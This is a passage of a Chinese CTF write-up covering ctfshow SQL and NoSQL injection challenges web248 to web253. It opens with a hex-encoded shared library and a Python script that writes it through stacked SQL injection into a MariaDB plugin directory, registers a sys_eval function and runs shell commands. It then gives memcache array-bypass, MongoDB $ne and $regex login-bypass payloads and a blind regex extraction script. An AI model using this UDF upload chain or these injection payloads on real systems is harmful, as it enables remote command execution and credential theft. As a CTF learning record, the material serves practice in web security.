0000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000"
udfs=[]
for i in range(0,len(udf),5000):
udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

简单解释一下:

脚本里面udf参数的值就是我们要往.so文件写入的内容,但是这里因为get传参对数据长度有限制,所以不能一口气传这么多。所以这里采用了切片的方式,把整个udf切成几个txt文件,然后最后再通过 concat(load_file(“1.txt”),load_file(“2.txt”),load_file(“3.txt”)),这样的方式来写入到.so里面。最后在通过调用的语法去调用:create function sys_eval return string soname 'hack.so';select sys_eval('cat /f*');来执行命令。

一开始的切片是写入到了/tmp目录下面,这个目录一般来说有写权限。

web249

1
$user = $memcache->get($id);

也告诉了flagflag里面,其实就是查询flag健对应的值。这里直接传?id=flag会返回error,这里怀疑可能有intval校验,可以用数组绕过:payload:?id[]=flag

web250

考察的基础的nosql注入

题目:

1
2
3
4
5
6
7
8
$query = new MongoDB\Driver\Query($data);
$cursor = $manager->executeQuery('ctfshow.ctfshow_user', $query)->toArray();
返回逻辑:
//无过滤
if(count($cursor)>0){
$ret['msg']='登陆成功';
array_push($ret['data'], $flag);
}
SQL术语/概念 MongoDB术语/概念 解释/说明
database database 数据库
table collection 数据库表/集合
row document 数据记录行/文档
column field 数据字段/域
操作 格式 范例 RDBMS中的类似语句
小于 {:{$lt:}} db.userinfo.find({“age”:{$lt:20}}) where age < 20
小于或等于 {:{$lte:}} db.userinfo.find({“age”:{$lte:20}}) where age <= 20
大于 {:{$gt:}} db.userinfo.find({“age”:{$gt:20}}) where age > 20
大于或等于 {:{$gte:}} db.userinfo.find({“age”:{$gte:20}}) where age >= 20
不等于 {:{$ne:}} db.userinfo.find({“likes”:{$ne:20}}) where age != 20

nosql里面传数据支持json格式,比如传username[$ne]=1,等效于:{"username":{"ne":1}},相当于where username!=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
AND 查询
db.userinfo.find({key1:value1, key2:value2})

OR 查询
db.userinfo.find({$or: [{key1: value1}, {key2:value2}]})

db.userinfo.find({name:'yu22x'});
where username='yu22x'

db.userinfo.find({"likes":{$ne:20}})
where likes != 20

显式创建集合
db.createCollection("userinfo");//创建一个名为usersinfo的集合

隐式创建集合
db.userinfo.insert({name:"yu22x"});//往collection2集合中添加数据来创建集合,如果集合不存在就自动创建集合。

查看集合
show collections;//(show tables)

删除集合userinfo
db.userinfo.drop();

注:mongo中支持js,可通过js操作实现批零处理,如:for(var i=0;i<1000;i++){db.userinfo.insert({name:"xiaomu"+i,age:20+i});}
固定集合

最终的payload:

1
2
3
https://6071a04f-e0c2-4bb2-9ab0-2896eecb14f9.challenge.ctf.show/api/index.php
POST:
username[$ne]=1&password[$ne]=1

web251

原理和上面是差不多的,payload:

1
2
3
https://6071a04f-e0c2-4bb2-9ab0-2896eecb14f9.challenge.ctf.show/api/index.php
POST:
username[$ne]=admin&password[$ne]=1

web252

1
2
3
https://6071a04f-e0c2-4bb2-9ab0-2896eecb14f9.challenge.ctf.show/api/index.php
POST:
username[$ne]=1&password[$regex]=^ctfshow{

web253

这个题一开始传username[$ne]=1&password[$ne]=1,可以查询到登录诚哥,但是没回显。可以判断是盲注。所以可以用到我们上一个题目的$regex来去盲注匹配。

username[$ne]=1&password[$regex]=^ctfshoa和username[$ne]=1&password[$regex]=^ctfshow,一个返回查询成功,一个返回查询失败,根据这个我们可以来写脚本盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://0a77a93f-cfea-4884-98b6-81147fe93eef.challenge.ctf.show/api/index.php"
dicts="0123456789-{}abcdefghijklmnopqrstuvwxyz"
flags="ctfshow{"
for i in range(9,50):
for j in dicts:
payload="^{}".format(flags+j)
data={"username[$ne]":1,"password[$regex]":payload}
res=requests.post(url,data=data)
if "登陆成功" in res.json()['msg']:
flags=flags+j
print(flags)
break
print(flags)

到这里CTFshow的SQL注入算是重新又看了一遍,当然路还有很长。后面会把SQL注入的题目依然往这里头去更新。时常复习回看。